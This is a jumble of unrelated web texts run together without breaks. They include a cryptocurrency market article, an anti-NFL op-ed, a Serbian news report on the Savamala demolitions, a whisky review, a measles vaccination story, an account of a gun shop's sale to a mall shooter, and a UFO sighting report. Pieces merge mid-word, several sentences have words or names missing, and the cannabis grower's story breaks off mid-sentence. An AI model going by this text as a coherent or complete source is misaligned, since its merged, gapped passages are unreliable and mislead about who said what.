Just a few short weeks later however, he changed his tune, announcing that he intended to participate in at least one upcoming initial coin offering (ICO).
At this point in time, it's also crucial to be aware of the regulatory side of the situation. This past July, the U.S. Securities and Exchange Commission (SEC) began moving in on the "Wild West" world of ICOs, which has sent the blockchain world reeling. Last week the Israel Securities Authority (ISA) announced plans to form a panel to regulate Initial ICOs.
And just yesterday, China's central bank, the PBoC,. According to Bloomberg, digital currency sales have been "deemed a threat to China's financial market stability as authorities struggle to tame financing channels that sprawl beyond the traditional banking system."
Eddy Travia, CEO of Coinsilium, a firm that finances and manages the development of early blockchain technology companies, sees the burgeoning marketplace in cryptocurrencies a bit differently. Travia believes that the plethora of cryptocurrencies and new tokens is actually opening the road to a higher Bitcoin price.
Travia says:
“These tokens are now sufficiently traded to play the role of shock absorbers for the cryptocurrency market. Bitcoin's price no longer needs to bear the full pressure of all events affecting the cryptocurrency markets.”
Travia explains that Bitcoin is the cryptocurrency of reference, the crypto 'gold' as it were of the token market, and its price is likely to better cope with future crypto market shocks thanks to the parallel trading of a multitude of tokens in exchanges around the world.
Travia adds:
“In a similar way to investors selling riskier ‘high-yield’ fiat investments when concerns grow at the global macro level, so can token traders rebalance their crypto asset portfolio, from higher risk tokens to Bitcoin, perceived as less risky, in the event of negative sentiment for the crypto market. Although they may not be officially classified as such by institutions for now, cryptocurrencies have all the characteristics of a new asset class and there is still much to learn about the dynamics of this new de facto asset class.”
Is Bitcoin in Bubble Territory?
Will Turner, a partner in the Chicago office of law firm of Barnes and Thornburg, points out:
“A bubble, defined broadly, is an asset price that is higher than the price justified by fundamental drivers of supply and demand. Often, there is a rapid increase in price followed by a rapid decrease. In the case of Bitcoin, rapid price increase is undeniable, so the interesting question is its tie to fundamentals.”
Bitcoin supply is limited through code, but there are other impacts on supply such as reserves held by individual market actors. Demand is affected by the ability to use Bitcoin in commercial transactions, whether as currency or for record-keeping or other purposes, and the availability of alternatives such as, credit card networks and newly-issued coins.
Other, shorter-term fundamental drivers—such as for example—can cause rapid and very sharp price reversals in Bitcoin and other cryptocurrency trading. Immediately after the PBoC's ban on ICOs was announced, Bitcoin lost around 5.5% of its value, dropping $249.30. Other prominent digital currencies including, and also traded sharply lower.
Be warned too, that questions continue to linger about the efficiency of the current Bitcoin trading markets. As Turner explains, expect BTC to fall again.
“There is unequal access to information and trading in multiple, disconnected markets. The rapid increase in the prices of multiple coins suggests that current drivers in coin trading are short-term in nature. For this reason, I expect to see Bitcoin prices continue their rise even though they have topped $5,000 and to fall below again—likely more than once. I am optimistic that over the long-term prices will continue to move higher due to fundamentals.”
This is a new and still developing market. We have yet to see how high the price of Bitcoin will go, and how deeply regulations concerning cryptocurrencies might be enacted and enforced. It's a brave new world, one that holds plenty of promise, but also requires appropriate caution and at least a modicum of trading savvy.W e just completed another regular season of e just completed another regular season of NFL football. Now let’s see if we can make it the last such season ever played. In its current state, professional football is immoral and we as a society should end its existence.
I imagine some fans of American football felt their hackles rise upon reading that. “Immoral” is a strong word, impossible to type from anywhere other than the saddle of a very tall horse, which isn’t the most comfortable seat for me.
I ate foie gras with Christmas dinner last week and enjoyed it immensely. I know that its production involves torturing ducks, which I think is wrong. In eating it, I am putting my own pleasure over the wellbeing of another living creature.
So I don’t take the moral high ground lightly. But I value human life more than avian life, so I will continue to scold those of you who put the pleasure you derive from watching football (and in so doing, paying money to the NFL, propagating its immoral practices) above the wellbeing of the players you’re watching play.
The damage football players suffer need not be debated at this point. The new Will Smith movie, Concussion, is based on one of the many books detailing the mountain of scientific evidence proving that the sport shortens lives. Efforts to make it safer with better equipment will not work, because the damage happens inside the players’ skulls, when the brain sloshes around and smashes against its bone casing. It’s the speed and power with which players ram their helmeted heads into other players that’s the problem. The game as it is played today kills the people who play it, period.
I have been arguing about this a lot over the past year with my friend Todd, who is a football fan and also a good person, I believe. Todd’s defense of professional football is based on the notion of freedom: NFL players are adults, he says, and they should be free to do whatever they want with their bodies, including destroy them by playing a game for which they get paid a lot of money. Todd brings up my individualistic positions on abortion (pro-choice) and drug use (legalize it) and assisted suicide (same) in his efforts to sway me. These are pretty good arguments. Is there inconsistency in my calling for an end to the NFL?
But I approach the issue from the other side: it’s not the players who I am calling immoral. The onus is on us, the fans (and, more directly, the team owners) who pay the players to hurt themselves for our enjoyment. Huge amounts of money, let-your-parents-retire-and-set-up-the-next-generation-of-your-family-to-go-to-college money, “make him an offer he can’t refuse” money. The money is there, so if one 20-year-old does muster up the sense to say no, there’ll be 20 others waiting in line to say yes. Football fans are like Roman citizens cheering as gladiators fight to the death in the Colosseum. NFL team owners, who make money from the spectacle, are more on a level with Leonardo DiCaprio in Django Unchained.
Todd counters that we pay lots of people in lots of other professions for the risks they take, the danger they put their bodies in. Ice road truckers, halibut fishermen, fire jumpers, underwater oil rig welders, police officers. Should we outlaw all these professions? There’s risk involved in just about anything, if you look for it. At a certain point, society would crumble.
The difference here, I would say, is in the “for our entertainment” part. That’s where the NFL tips into immorality. (Like eating foie gras.) We don’t need to watch football – we choose to – and everything we get out of it is non-essential. It is a luxury. It satisfies something deep inside us: bloodlust, that same inclination that causes backups at accident scenes and the popularity of videos of lunchroom brawls posted on World Star Hip Hop. We watch an airborne human body get absolutely pummeled by another airborne body, helmet first, and we can hear the crunch of the bones – we can feel the crunch of bones. “Owwww,” we say. That’s gotta hurt!” And we reach for the remote control and hit the rewind button.
We should be more honest about how ugly and shameful our bloodlust is (and about how natural it is, too, and how inherent to the human condition), and we should try to channel our need for catharsis in this regard into forms of entertainment that don’t leave real broken bodies their wake. Violent movies, I would argue, are far more easily defensible on moral grounds, as are gangsta rap and first-person shooter video games.
But many football fans avoid confronting this central aspect of the game. They’ll say they enjoy it more for the strategic acumen displayed by the best coaches (try to find the name of New England Patriots coach Bill Belichick written anywhere without the precedent descriptor “genius”. It’s not easy.) Or they’ll mention its display of core American values like teamwork, discipline and individual sacrifice for a greater good. For how a well-thought-out, well-executed gameplan can neutralize a physical advantage one team holds over another, and how on “any given Sunday” an underdog can buck the odds and win. It’s a metaphor for war, it’s a metaphor for life, etc, like all sports we like to watch. I’m all right with that. I love a good metaphor like the way I love my own mom.
Here is where something Todd said in one of our arguments carries the day, I think: “The real solution is to go back to the time when players didn’t wear helmets,” he said, surprising me. “It’s weird, it’s counterintuitive. But no helmets, no headfirst collisions. They just couldn’t do it – they’d be knocked unconscious and wouldn’t be able to play any more. No headfirst collisions, no brain damage. It would actually make the game much safer.”
This is right, I think. And I’m not the only one. “Football helmets are creating more problems than they solve,” wrote the Sporting News’s Tadd Haislop a couple of months ago. Even the co-chairman of the NFL’s own health and safety advisory committee, Dr John York, told the BBC that he can envision a helmetless future for the NFL. “Can I see a time without helmets? Yes,” York said, noting that it would require wholesale changes in the way the game is played. “It’s not around the corner, but I can see it.”
Football without helmets would be more like rugby, or even the “ powder puff ” flag-football version popular with young women at American high schools and colleges than the brutal NFL incarnation of the sport.
Would football fans still watch? Enough of them to support the $7.24bn-per-year industry the NFL has become? It would be an interesting experiment to try, to see if Americans are as enamored with the strategic aspects of the game as the intelligentsia claim to be.
It would not, however, be a fiscally sound gamble. Shortly after making his comments to the BBC about envisioning a helmetless future for the NFL, Dr York “ clarified ” his statement for CBS News: “The co-chairman of the NFL’s health and safety advisory committee believes that helmets in American football are part of the culture and tradition and doesn’t foresee an NFL where helmets aren’t being used.”
Which leaves us with one moral option: illegalize it, the whole operation.805 Startups is partnering with the City of Thousand Oaks to hold a startup demo competition at their beautiful Thousand Oaks Civic Arts Plaza.
The selected startups will present in front of an audience of 400 people from across Southern California and to a panel of judges made up of ACTIVE startup investors (angels & VCs).
The winner of our last demo competition closed their seed round as a result of participating in the event (two of the judges and one audience member became investors in their startup).
This event presents you with an incredible opportunity to learn how to pitch, learn how investors assess startups, and to network with many investors, government officials, educators, students, professionals, entrepreneurs, and corporate leaders.
Meet Our Judges
Dustin Rosen, Managing Partner at Wonder Ventures
Richard Wolpert, Venture Partner at Amplify.la, Venture Advisor at Accel Partners, Co-Founder & CEO of HelloTech
Michael Tam, Associate at Crosscut Ventures
Peter Delgrosso, Managing Partner at Bryant Stibel
Meet Our Competing Startups
• Elite Robotics - http://eliterobotics.net/
• SteadyMD - https://www.steadymd.com/
• My Office Bites - https://www.myofficebites.com/
• Coding Autism - http://codingautism.com/
• Boot Strap Legal - http://bootstraplegal.com/
It's gonna be great to see how they each approach presenting!
Exclusive Sponsorship Opportunities For This Event
Contact Us Now To Take Advantage of This Opportunity!Agency will defy governor, bring Syrian refugees to Indiana Copyright by WISH - All rights reserved FILE - In this April 30, 2015 file photo, Indiana Gov. Mike Pence discusses the legislative session that ended the day before during a news conference at the Statehouse in Indianapolis. (AP Photo/Michael Conroy) [ + - ] Video
Jim Shella - INDIANAPOLIS (WISH) -- Syrian refugees will continue to relocate in Indiana despite the governor's order to close the borders until new security measures are in place.
Exodus Immigration, the largest relocation agency in the state, believes that the governor does not have the authority to stop the immigration of Syrian refugees.
It has plans to relocate 20 or so Syrian refugees to Indiana in the coming months and it is going ahead with those plans.
Also, the American Civil Liberties Union of Indiana filed a lawsuit Monday against Pence to stop attempts by the governor to suspend resettlement of Syrian refugees.
The suit claims the governor's actions violate the U.S. Constitution and federal law.
"There is no border around the state of Indiana that prevents people from entering our state who may move freely within the United States," said ACLU of Indiana legal director Ken Falk in a statement Monday night. "Decisions concerning immigration and refugee resettlement are exclusively the province of the federal government, and attempts to pre-empt that authority violate both equal protection and civil rights laws and intrude on authority that is exclusively federal."
"And we really truly believe it's unconstitutional for the governor to do this," said Exodus Immigration Executive Director Carleen Miller, "and really out of his purview."
Miller says the agency will defy the governor.
"Well, it is our plan to continue business as usual," she said. "We have been doing this for 35 years and we will continue to resettle all refugee groups."
Mike Pence is one of 31 governors who took action.
Over the weekend, the White House posted a letter to Pence from Secretary of State John Kerry and Homeland Security Director Jeh Johnson that says most of the refugees are families, victims of torture and children.
The president visited a refugee center in Malaysia.
"Refugees who end up in the United States are the most vetted, scrutinized, thoroughly investigated individuals that ever arrive on American shores," said Barack Obama.
But those individuals could be denied state services if they come here.
"We will have to rally some private funding in case they don't get the services they need from the state," said Miller.
Exodus Immigration has relocated about 25 Syrian refugees to Indiana in the last 15 months.
Catholic Charities has relocated five more.
The governor's office has not responded to a request for comment.
He wrote an op-ed last week defending his decision.Three Whisky Innovators That Are Coming Out On Top
There has been a lot of talk lately about innovation and whisky. From alternative grain types to barrel selection, blending and new whisky-producing regions around the globe, there is some really exciting work being done in this industry. At recent whisky events, it has almost been impossible not to come away feeling energized by the diversity of quality whisky being put into the market and the unique distillers that are carving out new products and niches.
A few distilleries and whisky companies, in particular, have jumped out on my radar recently as some of the truly innovative whiskymakers. At Julio’s Liquors Go Whiskey Weekend the other week, I had the opportunity to meet some of these folks and really get a taste for their products that are changing the landscape.
Balcones Distilling
Perhaps you’d be surprised to hear that one of the most innovative craft distillers in America is based in Waco, Texas. On the other hand, if you’ve been paying attention to whisky media at all lately, you’re probably not surprised to see Balcones name at the top of the list here.
I recently had an opportunity to try their lineup of whiskies and, I’ve got to tell you… wow! How does a distillery so young produce whiskies this mature and sophisticated? You’d probably have to ask head distiller, Chip Tate, about that; but from a consumer’s perspective, these Balcones whiskies are adding something truly unique to the whiskey market. True Blue and Baby Blue are whiskies both made from Hopi blue corn, which creates a completely unique profile that’s much more raw corn flavor than you get from traditional yellow corn. I wound up picking up a bottle of the True Blue 100 and I can’t stop drinking it. It’s just that unique and delicious.
Another wildly unique whisky from Balcones is Brimstone which is a smoked whiskey. Mind you, this is not a peat smoke whiskey. Balcones actually smokes their whisky with Texas scrub oak so you wind up with this rustic, backwoods, campfire smoke element that smacks you upside the head and leaves you stunned (in a good way, of course). The beauty of this whisky is that although the smoke is big and in your face, it’s balanced with all of the delicious whiskey notes from the fresh corn, fruit and rich sweetness.
And, I’d be doing you a disservice if I didn’t also mention Balcones Single Malt as well. This is where your head spins a bit trying to figure out how they’ve developed such a rich and fantastic whiskey in just a few years of distilling and aging. I guess there’s a reason why this distillery is winning awards left and right, like Whisky Magazine’s Best Craft Whiskey Distiller of the Year. The Single Malt isn’t doing too bad on the awards circuit itself. It’s easily up there with some of the best single malts being produced in America right now, and I’d venture to say that this whisky can hold its own on a global stage. The fact that it’s as young as it is just makes that feat even more impressive.
Talking to Winston Edwards, Brand Ambassador for Balcones, I learned of a few new products coming to market in the very near future. I can’t tell you the exact details of said releases (for fear that Winston may come back to Boston and drink all of my hard-to-find beer), but there is some really exciting stuff on the horizon for this Texas distillery. Keep your eyes peeled!
St. George Spirits
When most of us think and talk about craft distilling in America, we often address it as a relatively new thing. And certainly, the vast majority of craft distillers in America have popped up in the last few years. Balcones, for instance, started in 2008. But, St. George Spirits out of Northern California is a major exception. 10-15 years from now when craft distilling in the US is as big as craft beer is now, we’re going to look back at St. George much like the way we look at Sam Adams or Sierra Nevada. Seriously, these guys were way ahead of the curve. In fact, they just released a 30th Anniversary Single Malt whiskey to mark this rather impressive occasion.
I got a chance to taste the 30th Anniversary release at Julio’s and I am happy to report that it is nothing short of mind blowing. It was made using some of the distillery’s oldest heritage barrels, thus containing some of the oldest single malt whiskey available from any American distillery. It’s rich, creamy, silky, fruity, spicy… aged to perfection. And talk about ballsy innovation, it was finished in a barrel that once held pear eau de vie so it has got this really interesting pear undertone that just hits it over the top. Of course, at $400 retail, you may never be able to get your hands on one of the 715 bottles that were released, but even if you don’t, make sure to go out of your way to try St. George’s regular Single Malt release. It’ll give you a peak into where the American craft whiskey industry is going.
Compass Box
I’ve always been a little so so on blended whisky. But John Glaser of Compass Box has completely changed my mind… well, at least in regards to his own blended Scotch whiskies. I don’t know what kind of mad science lab Mr. Glaser is running over there in London, but he’s doing some truly magnificent work producing whiskies that are paving their own path and spinning a lot of Scotch traditionalists on their heads. At Go Whiskey Weekend, John gave a seminar for about 50 folks – myself included – and tasted us through his diverse lineup of products. One thing that becomes clear when tasting these whiskies is that John is going to all lengths to craft whiskies that are truly one-of-a-kind and of the highest quality. Each of his whiskies are all impeccably balanced and hand-selected through endless tests using whiskies from a range of Scotch distilleries and some of the best barrels that can be bought (including some rather expensive French oak barrels). When it comes to putting this much care and craft into blended whisky, John Glaser and Compass Box are pretty much in a world of their own.
The true testament for me in regards to Compass Box was that during the entire Go Whiskey Weekend (after tasting through at least 100 different whiskies) Compass Box had my favorite $40 and under Scotch (Great King Street) and my favorite $250 and over Scotch (The Last Vatted Malt). My hat is off to John Glaser for these two impressive whiskies. I honestly cannot think of a better Scotch in the $40 price range than Great King Street. But The Last Vatted Malt… good God! That is a special, special spirit. It pains me greatly to know that this whisky wasn’t released in the US. This release was literally the last vatted malt ever produced in the UK. At 11:59am on the eve before the law was changed banning the usage of the term “Vatted” (it was changed to “Blended”), John and his crazy Compass Box buddies stepped out in front of Big Ben in the heart of London and poured this whisky into bottle, sealed the cork and declared this whisky the last vatted malt, ever. And, man what a vatted malt it is.
I don’t know about you, but I’m pretty damn excited about the innovation that is taking place in the whisky industry. From Chip Tate of Balcones to Jörg Rupf of St. George to John Glaser of Compass Box, the future of whisky is looking as bright as ever. Keep pushing, guys. We look forward to more innovation to come.When toe cages and double straps destroy everything that they come into contact with, durable shoes are crucial. Not only to avoid burning away your money, but so that you don't develop tree knot sized blister scars where the tops of your feet used be. And believe it or not, this ailment is easy to avoid with the Chrome Truk Shoes. Chrome's Truk Shoes are made from an almost identical fabric to what's used in its messenger bags -- 1000 denier Cordura. As you probably know, this stuff is strong -- like we've had the same Chrome bag for nine years strong. And aside from the upper material selection, Chrome made the whole shoe resilient to the day-to-day thrashings of urban riding. The sole is made from ultra-durable vulcanized rubber, and its also been made skid-resistant for riding/walking in all weather conditions. For construction, Chrome used a board lasted sole to stiffen up the shoes and to eliminate the threat of hot spots. Outside of Truk's commuter advantages, Chrome made them to be the ultimate freestyle shoe. The heel is protected from bails by a rubber heel cup, and the midsole is reinforced with a nylon/glass fiber shank. Truk's low-profile also makes it easy to get in and out of either toe straps or cages. So, you don't have to go down with the ship when you miss your next smith grind. The Chrome Truk Shoes are available in whole and half sizes from 5. 0 to 13. 0 and in the colors Black/black and Grey.Izvor: N1
Ko je izveo bagere na ulice Beograda i u noći između nedelje i ponedeljka rušio objekte u Savamali i dalje je misterija. Predsednik Vlade kaže da ne zna šta se desilo i da će istinu utvrditi nadležni organi.
Iz skupštine grada, i pored izjava brojnih svedoka, uz opasku da se takva pitanja ne postavljaju na Uskrs, navode da niko nije video fantomke i da niko nije prijavio policiji šta se dešava.
Osim pojedinih zaposlenih i slučajnih prolaznika, bagere i ljude sa fantomka i bejzbol palicama koji obezeđuju rušenje, po svemu sudeći, niko od državnih organa nije video.
"Ja ne znam šta se tačno dogodilo, ali se nadležni organi i nadležno tužilaštvo time bavi. To je posao za nadležne organe i uveren sam da će ustanoviti istinu", rekao je premijer Vučić.
Na pitanje novinara N1 kako to da šest dana nisu ustanovili, kaže:
"Pa nismo uspeli da ustanovimo, i nađemo materijalne dokaze za ubistvo Jelene Marjanović, što je mnogo veći zločin nego rušenje bespravnih objekata. Tako da se trudimo da rešimo sve te slučajeve, kao što smo sve slučajeve rešili. Nijedan veliki slučaj nemate da ga policija sa uspehom nije rešila".
Odgovor nemaju ni u gradskoj vlasti i čini se nerado odgovaraju na pitanja o tom događaju.
"U pravu je ministar da se na Uskrs takve stvari ne pitaju. Imate zvanično saopštenje Grada Beograda. Imate jako čudnu situaciju da neko priča o fantomkama... Niko fantomke nije video, a što je još čudnije niko nije prijavio slučaj policiji", navodi predsednik Skupštine Grada Beograda Nikola Nikodijević.
N1: Kažu svedoci da su zvali policiju, da su ih oni upućivali na Komunalnu...
Nikodijević: "Nadležni državni organi će ispitati slučaj i nadam se da ćemo brzo dobiti rezultate toga. Ono što je u ovom trenutku suština jeste da gradske službe to nisu radile, ono što je zasigurno - niko nije prijavio ništa policiji i ono što je je zasigurno niko to nije video još uvek, samo se svodi na priču nekoliko ljudi..."
N1: Pa, jeste li vi videli snimak?
Nikodijević: "Ja nisam video na snimcima ljude u fantomkama, verujte mi..."
N1: A jeste videli bagere koji ruše, a mi ne znamo ko ruši?
Nikodijević: "Kažem vam, nadležni organi će vrlo brzo ispitati, dobićete informacije kada i mi budemo raspolagali njima".
Kakvu je atmosferu u javnosti izazvao ovaj noćni događaj, možda najbolje pokazuje pitanje koje je na Twitteru postavio poverenik za informaicje Rodoljub Šabić: "Poruka: Nastavi da se interesuješ za akciju ljudi pod fantomkama i bićeš u prilici da se sretneš sa njima je?" Bez objašnjenja da li je, kada, i kome upućena ovakva poruka.
Dok se čekaju rezultati istrage, oko 1.000 kvadrata neposredno pored mesta gde će biti izgrađen "Beograd na vodi" po svemu sudeći spremno je za novog investitora.
Detaljnije u prilogu Đorđa Naskovića:Rescuing One Cat after Another Abandoned, discarded, sick, born "on the street", lost, or "orphaned" when owner/parent dies (or can no longer look after them) - these cats of all ages, from new born kittens to wise old felines, rely on people to take an interest in them and in their welfare. Many people in Hamilton do care about them. When Rescue Hamilton Cats (RHC) began (in 2013), the focus was on what was happening to cats inside Hamilton Animal Services (HAS). Efforts to curb intake to the city-run shelter have resulted in a steady decline in admissions and, predictably, this has led to a drop in the euthanized rate. With improved conditions and the on-going commitment of HBSPCA (and other donor-funded groups) to rescue from there, our focus has been broadening.
Recently
rescued
cats Looking for Loving Homes Please
Take us
HomeCANNABIS CULTURE – Here’s the story of how my award-winning marijuana strain got her name, Medi Kush.
Back in 2006 I came across the best-tasting cannabis I had ever had, which also happened to be the most pain-reliving strain I had ever had.
They called it Christmas Kush because of the extensive snow white crystal formation on the bud, and it was only available around Christmas time; private stock only kind of stuff.
A buddy (we’ll call him Kenny) found it for me; he knew how much it helped with my pain control, so he saved a few extra bags for me so I could have more relief. Kenny, knowing how much I really need this strain for my pain, went out of his way to get me a few beans. I didn’t know he was doing this and one day, to my surprise, he handed me six seeds and said “for your private garden only, Johnny.” Wow! I now had my medicine.
I popped them the next day and out of the six one stood out, it was a slow start for her but within a few weeks she was the strongest and the healthiest of them all. There were two males so I killed them both. I knew this strain was a keeper and from what Kenny said, this was the one everyone wanted. I had three seeds left and a grow box to work with, I had to do something quick. Being early summer I put the strongest one in the garden and the other two under a 600 watt HPS bulb in my garage along with a few other strains I was already growing. Using Medi-One to grow my new seeds, it was only appropriate to call her Medi Kush, and my strain was christened.
I’m able to grow my own medicine as a member of Health Canada’s medical marijuana program. Growing my own medicine is very important to me as I suffer from severe chronic pain, which resulted from a 28-foot fall I survived. In the recovery process, I found cannabis to be the best medicine for me.
Now, let’s jump forward about four years; I was headed to the Treating Yourself Expo and Medical Cup with my favorite strain, Medi Kush. I entered into the 2011 Medical Cannabis Cup, in the Private Grower category.
A medical patient (me) brings a strain he calls Medi Kush to a medical cannabis cup and wins first place! I was happy to take home the Cup.
I entered again in 2012 with the same strain, Medi Kush, and won another Medical Cannabis Cup, this time taking 2nd place in the Private Grower category.
Medi Kush needs love to be all she can be, and that’s what I give her.
I needed something more for increased pain control and that’s when Bubbleman came into my world. He showed me how to make a purer form of medicine by harvesting the tricomes from Medi Kush.
I had always trimmed my medicine over screens to collect the pure THC for more effective pain control; however, I came to learn there were so many more options available to me, if I just used the right tools. Turns out I was just starting to learn how to medicate properly.
I was told I had to clean my resin, who ever thought it needed cleaning?! But on that advice I acquired some drysift screens. Medi Kush resin being cleaned (pictured above).
There’s more to this than meets the eye as it turns out, and after taking a closer look it really did need cleaning. So I proceed to do just that, and after 30 minutes I had 75% pure cannabis medicine for my pain control. The above image shows what that looked like: sweet trichomes (picture by Bubbleman). At 75% purity you’d think it was clean, but I was told to try cleaning it for 45 minutes.
Low and behold I got this (pictured above); loaded a |
admittedly kinda short...was still very touching the way they resolved it~ Definitely worthy of being a new "BrOTP" of mineWith that in mind, I was interested in not JUST drawing Angel!Sunset and Demon!Twi, but also the regular Twilight and Demon!Sunset from the very first movie. Just to add a bit of symbolism and just because I've always wanted to draw that particular scene out~I probably didn't get all the details 100% accurate but I tried----------------Sunset Shimmer & Twilight Sparkle both belong to My Little Pony/Equestria GirlsImage copyright Jennifer Hibben-White / Facebook Image caption Jennifer Hibben-White's child was exposed to measles while visiting a doctor's office. Seven people have come down with the disease in the Toronto area.
A mother in Canada who wrote a scathing critique of parents who refuse vaccinations has had her Facebook post shared more than a quarter of a million times.
Jennifer Hibben-White got a call from local health officials outside Toronto, Canada, with news that would frighten any parent: she and her 15-day-old son had been exposed to measles during a routine check-up at a doctor's office. Seven cases of measles have been reported in the Toronto area including the case of a fully vaccinated man who came down with the disease, health authorities said on Wednesday.
After receiving the call, Hibben-White wrote an emotional post on Facebook - targeting not the man with measles but rather parents who don't vaccinate their children: "I won't get angry at or blame the person in the waiting room. I would have likely done the same thing... you get sick, you go to the doctor. I have no idea what their story is and I will never know. But I do know one thing: If you have chosen to not vaccinate yourself or your child, I blame you."
"And I'm angry," she continued. "Angry as hell."
In the post, Hibben-White also mentioned the death of another of her children from a different disease.
"You know what vaccines protect your children from? Pain. Suffering. Irreparable harm. Death," she wrote. "And you would be the first to line up if you had an inkling of what the death of a child feels like... the fact is, there was no vaccine for [my daughter]. Not for her illness. And she died."
An outbreak of measles which started at Disneyland in California last month has since spread to 17 US states and has made vaccination a hot political topic in North America, with US presidential candidates making a variety of heavily scrutinised statements on the issue. In Toronto, vaccination rates vary widely - in one school fewer than half of students have received the combined MMR (Measles Mumps Rubella) vaccine.
The anti-vaccination ("anti-vax") movement first gathered steam after the publication of a now-retracted paper in The Lancet in 1998 by discredited British doctor Andrew Wakefield which indicated a possible link between autism and the MMR vaccine.
Although the paper was widely debated in the UK years ago, culminating in Wakefield being struck off the General Medical Council register in 2010, until now the story has been less well-covered in North America.
Hibben-White's post tapped into an anti-vaxxer backlash - it was shared more than 250,000 times and comments were unanimously positive. One mother who shared the post commented: "I have remained silent on the vaccination issue, until now... If I were this mother, I would be furious. Vaccinate your children people."
At just over two weeks old, Hibben-White's child is too young to be vaccinated, and she ended her post with a reference to the incubation period of measles.
"Seven more days until I know that my baby is safe. Seven more days," she wrote. "How is your week going, anti-vaxxers?"
More blog posts:
Did this woman really call Islamic State fighters "donkeys"?
Jon Stewart and Brian Williams: they should just swap jobs
Follow BBC Trending on Twitter @BBCtrending. All our stories are at bbc.com/trendingDan Millen remembers Darion Marcus Aguilar walking into his Rockville gun shop with an air of confidence and a wad of cash. Aguilar wanted a shotgun, which he said he planned to keep in his home for protection.
Aguilar's dress was nondescript, Millen said, except for a pair of high-top skateboarding shoes. The 19-year-old asked to see a Mossberg 500 series 12-gauge, a basic pump-action model used for sport, bird hunting or self-defense.
He passed a state-mandated FBI criminal background check within minutes, paid $430 and walked out of the store Dec. 10 with the shotgun, which authorities say he used Saturday to kill two employees at a skate shop in The Mall in Columbia before taking his own life.
"It never settled in to me that I would be selling the gun to someone who would commit a crime," said Millen, noting that the transaction was legal. "I feel horrible for the two people. I wish I could have gone back that day and really dug in."
Millen gave the account as a fuller picture emerged Monday of Aguilar, who police say killed Brianna Benlolo, 21, and Tyler Johnson, 25 — both workers at Zumiez. Howard County investigators say they still don't know enough about Aguilar to determine what motivated the attack.
Aguilar's parents married in Denver in 1992, and his mother appears to have lived there for a few years before moving to Maryland when Aguilar was young, according to divorce records. He would later move to Maryland, and at the time of the shooting was living in College Park with his mother.
Aguilar's parents were separated for 14 years before they divorced last October, according to papers filed in the Circuit Court of Prince George's County. He was one of two children, and a family friend said his mother, Jordan C. Bullard Aguilar, works in medical management. Aguilar has a sister nearly two years older.
His father, Ronald Matthew Aguilar, lists a St. Louis address in divorce records. A woman who said that she was one of his family members declined to comment Monday.
Public records show that Aguilar lived for five years at an address in Silver Spring owned by a surgeon, Elwood McGee. Reached by phone, McGee confirmed that Aguilar and other relatives lived at the home.
"They lived here before. They moved out," McGee said. "I don't have any insight, and I don't have anything new to add. They say he was a nice kid — I agree, he was a nice kid."
He declined to elaborate.
Like many others who knew or interacted with Aguilar, Millen agreed that the young man presented himself well. Nothing set off any "red flags," said Millen, who opened the United Gun Shop with a business partner about 10 months ago.
Millen said he enjoys shooting clay pigeons during the weekends and is enthusiastic about the benefits of responsible gun ownership.
Aguilar said he wanted the gun to protect his home after moving from Silver Spring to College Park. The teen didn't know anything about guns, Millen said, but he knew he wanted a Mossberg 500.
The gun, Millen said, is known as an "inexpensive tried-and-true gun."
First made in 1961, more than 10 million of the pump-action shotguns have been manufactured by Connecticut-based Mossberg. One of the series' models has been the "shotgun of choice for the U.S. military" over the last 30 years, outdoor writer Brad Fitzpatrick wrote in the October edition of Guns & Ammo magazine.
The guns are fast and reliable with a "reputation for dependability," Fitzpatrick wrote. It is not known to malfunction often and can almost be as fast as a semiautomatic in experienced hands.
Maryland law does not place the same restrictions on hunting weapons such as shotguns as those that govern other weapons. A law passed last year banned the sale of assault rifles and high-capacity magazines, and some said that change may have prevented Saturday's shooting from being even more deadly.
But gun-control advocates said Saturday's shooting was unlikely to reignite the debate after last year's changes.
"It's very unlikely that anything will pass that will add on to all of the protections from last year," said Sen. Brian Frosh, a Montgomery County Democrat who shepherded the gun-control legislation through his chamber. "People have lost their energy for it."
Aguilar arrived at Millen's shop with little experience with guns, so he gave the young man a quick tutorial on how to fire and care for the weapon — an interaction that haunts him in retrospect.
Millen placed the gun in Aguilar's hand and showed him where the safety was. He told him not to point the gun at anything he didn't intend to shoot. Millen warned Aguilar against carelessly putting his finger on the trigger.
Millen didn't demonstrate how to load shells into the gun but showed him where they go. He urged him to go to a shooting range so he could see if the gun was really what he wanted.
Although the gun can chamber six shells at a time, Millen said he recommended that Aguilar load one shell every time he was going to fire so the novice didn't accidentally shoot again when the gun kicked back.
Lean forward, Millen said he told Aguilar, because the Mossberg had a "good amount of kick."
Millen showed him how the gun's 18.5-inch barrel comes off easily for cleaning or storage. It allows the gun to be carried in two pieces instead of one 3-foot unit.
He asked Aguilar to fill out a mandatory Bureau of Alcohol, Tobacco, Firearms and Explosives application, which asks prospective gun buyers pages of questions, including whether have been drug users, fugitives or ruled "mentally defective" by a judge.
Millen made copies of Aguilar's Maryland learner's driving permit and his state change-of-address form. Then he plugged in the teen's Social Security number and other information into an FBI National Criminal Instant Background Check system. Within a couple of minutes, he said, the check came back with a response: "Proceed."
From walk-in to sale, the entire transaction took about 30 minutes. Aguilar bought a box of Hornady-brand buckshot and a box of Federal-brand bird shot along with the gun. A few weeks later, around Christmas, Aguilar came back into the shop with a friend and told Millen that he had taken his advice and tried out the gun at a shooting range. He told the gunshop owner the shotgun had given him quite a kick, as predicted.
Millen joked with Aguilar and said he called him a "lightweight," which drew a chuckle.
"He just said he was going to pick up another box of the birdshot," Millen said.
He did and left.
"I just feel horrible [about] two innocent people, that their lives were taken," Millen said. "Two kids."Sitting on front porch, 3rd story. My girlfriend sighted it and shouted: "GET UP AND LOOK AT THIS! RIGHT NOW!" I jumped up and we both witnessed the object for about 5-10 more seconds. Girlfriend saw it for 4-5 more seconds than me.
the object had no lights, made no sound, but caught your eye because it was much DARKER than the night sky, a dark grey/black, huge, and BIZARRE looking! Giant curving appendages protruding from a cylindrical/rectangular center space. Each appendage had a distinct orb/sphere/fist on it's end. The orb's diameter was about twice the width of the appendage.
It was large, low, and CLOSE. less than a few blocks away it seemed flying directly down College/287-south. I'd say no more than 500-feet high? Hard for me to judge.
When I first noticed it I had NO IDEA what the object was. As the details of it's shape took focus I immediately felt chills down my spine and goosebumps all over because it just looked UNNATURAL. My brain was in shock. I still have no idea what it was but we have taken to referring to it as the "giant flying octopus"
It did not stray in altitude up or down. It did not change it's path or speed in the slightest. That was part of how strange it was. It just hovered moving very quickly in a southern direction. The appendages DEFINITELY MOVED.
